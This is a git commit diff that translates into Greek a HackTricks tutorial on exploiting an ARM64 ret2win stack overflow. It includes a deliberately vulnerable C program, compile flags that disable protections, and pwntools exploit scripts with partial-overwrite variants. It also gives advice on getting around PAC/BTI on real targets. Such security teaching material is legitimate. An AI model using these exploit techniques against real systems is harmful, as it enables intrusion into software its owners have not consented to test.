Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

This commit is contained in:
Translator 2025-08-27 02:33:34 +00:00
parent 42bf884431
commit 0baeffe2b8

View File

@ -4,11 +4,12 @@
Βρείτε μια εισαγωγή στο arm64 στο:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Κώδικας
```c
#include <stdio.h>
#include <unistd.h>
@ -27,17 +28,29 @@ vulnerable_function();
return 0;
}
```
Συγκέντρωση χωρίς pie και canary:
Μεταγλωττίστε χωρίς pie και canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
## Εύρεση της απόκλισης
- The extra flag `-mbranch-protection=none` disables AArch64 Branch Protection (PAC/BTI). If your toolchain defaults to enabling PAC or BTI, this keeps the lab reproducible. To check whether a compiled binary uses PAC/BTI you can:
- Αναζητήστε AArch64 GNU properties:
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
- Επιθεωρήστε prologues/epilogues για `paciasp`/`autiasp` (PAC) ή για `bti c` landing pads (BTI):
- `objdump -d ret2win | head -n 40`
### Επιλογή προτύπου
### Σύντομα στοιχεία για το AArch64 calling convention
Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef):
- Ο link register είναι `x30` (a.k.a. `lr`), και οι συναρτήσεις συνήθως αποθηκεύουν `x29`/`x30` με `stp x29, x30, [sp, #-16]!` και τα επαναφέρουν με `ldp x29, x30, [sp], #16; ret`.
- Αυτό σημαίνει ότι η αποθηκευμένη διεύθυνση επιστροφής βρίσκεται στο `sp+8` σε σχέση με τη βάση του frame. Με ένα `char buffer[64]` τοποθετημένο πιο κάτω, η συνήθης απόσταση υπερχείλισης προς το αποθηκευμένο `x30` είναι 64 (buffer) + 8 (saved x29) = 72 bytes — ακριβώς αυτό που θα βρούμε παρακάτω.
- Ο stack pointer πρέπει να παραμένει 16byte aligned στα όρια συναρτήσεων. Αν φτιάξετε ROP chains αργότερα για πιο σύνθετα σενάρια, διατηρήστε την ευθυγράμμιση του SP ή μπορεί να καταρρεύσετε σε function epilogues.
Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το:
## Εύρεση του offset
### Επιλογή pattern
This example was created using [**GEF**](https://github.com/bata24/gef):
Ξεκινήστε gdb με gef, δημιουργήστε pattern και χρησιμοποιήστε το:
```bash
gdb -q ./ret2win
pattern create 200
@ -45,17 +58,17 @@ run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου:
arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε τη μετατόπιση του pattern:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**Η απόσταση είναι 72 (9x48).**
**Το offset είναι 72 (9x48).**
### Επιλογή απόστασης στοίβας
### Επιλογή Stack offset
Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register:
Ξεκινήστε βρίσκοντας τη διεύθυνση του stack όπου αποθηκεύεται ο pc register:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@ -64,38 +77,40 @@ info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337:
Τώρα ρυθμίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα pattern όπως 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
Βρείτε πού αποθηκεύεται αυτό το πρότυπο στη μνήμη:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Τότε: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
Στη συνέχεια: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## Χωρίς PIE
## No PIE
### Κανονικό
Αποκτήστε τη διεύθυνση της **`win`** συνάρτησης:
Βρείτε τη διεύθυνση της συνάρτησης **`win`**:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Εκμετάλλευση:
Exploit:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
@ -113,7 +128,7 @@ p.close()
### Off-by-1
Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
Στην πραγματικότητα αυτό θα είναι περισσότερο σαν ένα off-by-2 στο αποθηκευμένο PC στο stack. Αντί να υπεργράψουμε ολόκληρο το return address, θα υπεργράψουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
```python
from pwn import *
@ -135,16 +150,16 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι μια πραγματική off-by-**one** σε μια φανταστική ευπάθεια.
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-**one** σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι ένα πραγματικό off-by-**one** σε μια φανταστική ευπάθεια.
## Με PIE
## With PIE
> [!TIP]
> Συγκεντρώστε το δυαδικό **χωρίς το επιχείρημα `-no-pie`**
> Μεταγλωττίστε το binary **χωρίς το `-no-pie` argument**
### Off-by-2
Χωρίς μια διαρροή δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης, αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε την απόσταση στη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:
Χωρίς leak δεν γνωρίζουμε την ακριβή διεύθυνση της συνάρτησης win, αλλά μπορούμε να γνωρίζουμε το offset της συνάρτησης μέσα στο binary και, δεδομένου ότι η διεύθυνση επιστροφής που υπεργράφουμε ήδη δείχνει σε μια κοντινή διεύθυνση, είναι δυνατό να leak-άρουμε το offset προς τη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλώς να χρησιμοποιήσουμε αυτό το offset:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -166,4 +181,45 @@ p.send(payload)
print(p.recvline())
p.close()
```
### Σημειώσεις για τη σύγχρονη ενίσχυση AArch64 (PAC/BTI) και ret2win
- Αν το binary έχει compiled με AArch64 Branch Protection, μπορεί να δείτε `paciasp`/`autiasp` ή `bti c` να εκπέμπονται σε function prologues/epilogues. Σε αυτή την περίπτωση:
- Επιστροφή σε μια διεύθυνση που δεν είναι έγκυρο BTI landing pad μπορεί να προκαλέσει `SIGILL`. Προτιμήστε στόχευση στην ακριβή function entry που περιέχει `bti c`.
- Αν το PAC είναι ενεργοποιημένο για returns, οι απλές returnaddress overwrites μπορεί να αποτύχουν επειδή το epilogue αυθεντικοποιεί το `x30`. Για εκπαιδευτικά σενάρια, rebuild με `-mbranch-protection=none` (όπως φαίνεται παραπάνω). Όταν επιτίθεστε σε πραγματικούς στόχους, προτιμήστε nonreturn hijacks (π.χ. function pointer overwrites) ή φτιάξτε ROP που ποτέ δεν εκτελεί το ζευγάρι `autiasp`/`ret` που αυθεντικοποιεί το πλαστό σας LR.
- Για γρήγορο έλεγχο των χαρακτηριστικών:
- `readelf --notes -W ./ret2win` και ελέγξτε για τις σημειώσεις `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC`.
- `objdump -d ./ret2win | head -n 40` και ψάξτε για `bti c`, `paciasp`, `autiasp`.
### Εκτέλεση σε μηARM64 hosts (qemuuser quick tip)
Αν είστε σε x86_64 αλλά θέλετε να εξασκηθείτε σε AArch64:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
```
### Σχετικές σελίδες HackTricks
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Αναφορές
- Ενεργοποίηση PAC και BTI σε AArch64 για Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Πρότυπο κλήσης διαδικασίας για την αρχιτεκτονική Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}}